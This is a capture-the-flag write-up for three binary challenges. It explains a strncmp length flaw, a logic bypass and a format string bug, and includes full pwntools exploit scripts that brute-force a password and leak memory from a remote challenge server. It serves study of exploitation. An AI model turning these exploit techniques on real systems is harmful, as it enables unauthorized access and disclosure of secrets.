These 3 challenges had a wide variation in difficulty, but were all worth 100 points each (static scoring). You can find the relevant binaries in this repo.

Bypass

Decompiling the binary in Ghidra, we see that we have 3 tries to login with a username and password. If we are correct, we get the option to print the flag. The decompilation shows us the correct username is “admin”. Examining the code for checking the password, we see the relevant part is: (note that the password is read from a password file in the setup function)

1
2
3
4
5
6
7
8
9
10
11
12
13
printf("Password : ");
fflush(stdout);
read(0,input,0x14);
len = strcspn(input,"\n");
input[len] = '\0';
if (input[0] != '\0') {
    len = strlen(input);
    iVar1 = strncmp(input,&password,len);
    if (iVar1 == 0) {
        login_success = 1;
        goto LAB_00100ec0;
    }
}

The vulnerable line is the strncmp, which only compares up to len characters. We can set len to be 1 by passing in a single character and a newline (the program checks that len != 0). The strncmp will return true if the first character of our input matches the password’s first character. This is easily brute-forcable.

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import string
alphabet = string.ascii_letters
sla = lambda i : p.sendlineafter(b":", i)
for ch in alphabet:
    p = remote("13.215.193.108", 8145)
    sla(b"admin")
    sla(ch.encode("ascii"))
    if b"[Service menu]" in p.recvline():
        print("success")
        print(ch)
        break

Bypass2

This challenge has a similar interface to Bypass, but has a different exploitation method. There is really very little pwn to this challenge. Decompilation reveals that if our privateLogin matches the string “Username”, then the correct password is set to the username we input. The program checks if our input username matches the hardcoded string “admin”, then checks if our input password matches the password.

So, by sending the username “admin” and the privateLogin “Username”, the program will set the correct password to “admin”. We simply pass that in as the password. Simply send in “admin” -> “admin” -> “Username”.

fsb

Program logic

Let’s first try to understand what this program does. Decompiling with Ghidra, (I patched the alarm to 0xffffff for more convenient debugging)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
undefined8 main(void) {
  int user;
  int iVar1;
  size_t len;
  long in_FS_OFFSET;
  int local_48;
  undefined8 local_40;
  char input [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_40 = &password;
  alarm(0xffffff);
  setup();
  local_48 = 0;
  do {
    if (2 < local_48) {
LAB_001012ed:
      puts("[-] Login Failed!");
      exit(1);
    }
    printf("[+] What is your name : ");
    fgets(input,0x20,stdin);
    len = strlen(input);
    input[len - 1] = '\0';
    user = check_username(input);
    if (user == 0) {
      puts("[-] No such user!");
    }
    else {
      printf("[+] Hello %s, \n",input);
      printf("[+] please enter the password : ");
      fgets(&password,0x100,stdin);
      len = strlen(&password);
      (&prev)[len] = 0;
      iVar1 = look_for_%n(&password);
      if (iVar1 == 0) {
        user = check_password(user,&password);
        if (user == 1) {
          read_flag();
          if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
            return 0;
          }
          __stack_chk_fail();
        }
        goto LAB_001012ed;
      }
      snprintf(&DAT_003020e0,0x100,"[-] Sorry, the password(%s) has bad character\n",&password);
      printf(&DAT_003020e0);
    }
    local_48 = local_48 + 1;
  } while( true );
}

In the setup function, the important part is

1
read(rand_fd,&passwords + (long)idx * 0x20,0x1f);

Where the program writes 3 random passwords (from /dev/urandom) to

1
passwords + idx*0x20

This corresponds to the passwords for the 3 users later. After the setup function, we proceed into the main while loop that runs for at most 3 times. The program first checks for a valid username in the check_username function (“admin”, “superuser”, “ocean”). For a valid username, the program then checks the input password.

It calls look_for_%n, which returns true/1 if “%n” is a substring of the password. If “%n” is not in the password, the program calls check_password, with the corresponding user. If the password is correct, the flag is printed, else the program exits immediately.

If “%n” is in the password, look_for_%n replaces it with “_n”. main() also calls printf on the replaced password.

Exploitation

Although “%n” is replaced in the password, there is still a vulnerable FSB in the printf call after replacement. For example, we can leak the stack via “%nAAAAAA%p”. We use “%n” to trigger the printf call, and although the first “%n” FSB is invalid, the “%p” still works. Now, my plan was to use the FSB to leak memory address -> read/write to passwords memory -> gain access to flag, which would take exactly 3 iterations.

In fact, testing with different offsets gives us “%nAAAAAA%2$p”, which we can use to leak an address in the same memory region (gdb & vmmap are helpful here) of passwords. From this, we calculate the offset of the password for the user ocean.

On the second iteration, I wanted to trigger some sort of write FSB. Traditionally, this would look like “<address>%5$n”. However, trying different offsets with “AAAAAAAA%k$p” (replacing k) didn’t work - failing to produce the expected “0x4141414141414141”. Examining the stack right before the printf call, we see the following

1
2
3
4
5
6
7
8
9
10
11
gef➤  telescope $rsp
0x007fffffffdd30│+0x0000: 0x0000000200000000     ← $rsp
0x007fffffffdd38│+0x0008: 0x005555556021e0  →  0x70254242426e5f ("_nBBB%p"?)
0x007fffffffdd40│+0x0010: 0x00006e6165636f ("ocean"?)
0x007fffffffdd48│+0x0018: 0x00555555401310  →   push r15
0x007fffffffdd50│+0x0020: 0x0000000000000000
0x007fffffffdd58│+0x0028: 0x00555555400b90  →   xor ebp, ebp
0x007fffffffdd60│+0x0030: 0x007fffffffde60  →  0x0000000000000001
0x007fffffffdd68│+0x0038: 0xb2bcd46f91b62900
0x007fffffffdd70│+0x0040: 0x0000000000000000     ← $rbp
0x007fffffffdd78│+0x0048: 0x007ffff7df67fd  →  <__libc_start_main+205> mov edi, eax

Aside from that first pointer to our input string (at +0x8), there are no other references to it, at least without trawling a lot more of the stack. However, we do see a reference to our previous input “ocean” at +0x10. This gave me an idea to place a memory address after “ocean” and then reference that with our FSB. We can achieve this because fgets reads 0x20 bytes from stdin, but we only need 5 bytes for writing “ocean”. For example, by sending a username “oceanAAA” + “A” * 0x8 + “B” * 0x8, sending a password of “%nA%10$p” prints out “[-] Sorry, the password(_nA0x4242424242424242) has bad character”. So, by replacing “B” * 0x8 with a pointer to ocean’s password (that we previously leaked), we can leak its value. The code I ended up using was:

1
p.sendlineafter(b":", b"oceanAAA" + b"A"*(0x8) + p64(ocean_password)[:-2])

At first, without the “[:-2]”, one issue I faced was that just p64(ocean_password) didn’t work. This is because the address of ocean_password has only six non-null bytes (ie 0x0000deadbeef0fd0). So I would be sending “…\x0f\xd0\xef\xbe\xad\xde\x00\x00\x0a” (\x0a because of newline). The strlen call in main would take “\xde” to be the last byte (because of the null byte after it), and the next line would set “\xde” to “\x00”. To circumvent this, I removed the null bytes so I would send: “…\x0f\xd0\xef\xbe\xad\xde\x0a”, which would set “\x0a” to the null byte instead, preserving the pointer.

Then, with the offset 10 (found previously), we can leak the password at the pointer with “%s” and FSB. Finally, one the third iteration, we simply log in to the user “ocean” with the leaked password.

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
elf = ELF("./basic_fsb_notime")
context.binary = elf
p = remote("13.215.193.108", 9797)

sla = lambda i: p.sendlineafter(b":", i)

# 1. leak
sla(b"ocean")
payload = b"%nAAAAAA%2$p"
sla(payload)
p.recvuntil(b"(")
leak = p.recvuntil(b")").replace(b")", b"").strip().replace(b"_nAAAAAA", b"")
leak = leak[2:]
leak = int(leak, 16)
ocean_password = leak - 0x118 + 0xc0

# 2. read
p.sendlineafter(b":", b"oceanAAA" + b"A"*(0x8) + p64(ocean_password)[:-2])
payload = b"%nB%10$s"
sla(payload)
p.recvuntil(b"_nB")
pwd = p.recvuntil(b") ").replace(b") ", b"").strip()

sla(b"ocean")
sla(pwd)